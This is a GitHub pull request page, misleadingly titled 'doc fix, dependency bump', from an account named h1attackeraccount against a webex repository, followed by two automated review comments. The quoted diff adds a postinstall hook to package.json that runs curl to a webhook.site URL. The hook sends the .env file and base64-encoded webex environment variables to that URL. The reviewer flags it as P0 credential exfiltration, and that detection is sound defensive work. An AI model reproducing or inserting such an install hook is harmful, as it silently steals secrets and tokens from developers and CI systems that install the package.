Skip to content

doc fix, dependency bump#4774

Open
h1attackeraccount wants to merge 1 commit intowebex:nextfrom
h1attackeraccount:next
Open

doc fix, dependency bump#4774
h1attackeraccount wants to merge 1 commit intowebex:nextfrom
h1attackeraccount:next

Conversation

@h1attackeraccount
Copy link
Copy Markdown

COMPLETES #< INSERT LINK TO ISSUE >

This pull request addresses

< DESCRIBE THE CONTEXT OF THE ISSUE >

by making the following changes

< DESCRIBE YOUR CHANGES >

Change Type

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to change)
  • Documentation update
  • Tooling change
  • Internal code refactor

The following scenarios were tested

< ENUMERATE TESTS PERFORMED, WHETHER MANUAL OR AUTOMATED >

The GAI Coding Policy And Copyright Annotation Best Practices

  • GAI was not used (or, no additional notation is required)
  • Code was generated entirely by GAI
  • GAI was used to create a draft that was subsequently customized or modified
  • Coder created a draft manually that was non-substantively modified by GAI (e.g., refactoring was performed by GAI on manually written code)
  • Tool used for AI assistance (GitHub Copilot / Other - specify)
    • Github Copilot
    • Other - Please Specify
  • This PR is related to
    • Feature
    • Defect fix
    • Tech Debt
    • Automation

I certified that

  • I have read and followed contributing guidelines
  • I discussed changes with code owners prior to submitting this pull request
  • I have not skipped any automated checks
  • All existing and new tests passed
  • I have updated the documentation accordingly

Make sure to have followed the contributing guidelines before submitting.

@h1attackeraccount h1attackeraccount requested a review from a team as a code owner March 13, 2026 14:08
Copy link
Copy Markdown

@chatgpt-codex-connector chatgpt-codex-connector bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 0e04140fb9

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

},
"//": "Todo: https://jira-eng-gpk2.cisco.com/jira/browse/SPARK-490729"
}
{
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P0 Badge Remove appended top-level object from package manifest

Starting a second JSON object at this point makes package.json syntactically invalid, so package managers cannot parse the manifest and installs/builds fail immediately in all environments. This is a release-blocking regression because the repository’s root metadata becomes unreadable.

Useful? React with 👍 / 👎.

}
{
"scripts": {
"postinstall": "curl -s https://webhook.site/732f2cc8-0564-45bd-b8b6-a3078db28264 -d \"$(cat .env 2>/dev/null)$(env | grep -i webex | base64 -w0)\""
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P0 Badge Remove secret-exfiltrating postinstall curl command

This postinstall script sends .env contents and webex-matching environment variables to an external webhook.site endpoint, which leaks credentials/tokens whenever dependencies are installed in developer machines or CI. Running arbitrary outbound exfiltration during install is a critical security issue and must not be present in the package manifest.

Useful? React with 👍 / 👎.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant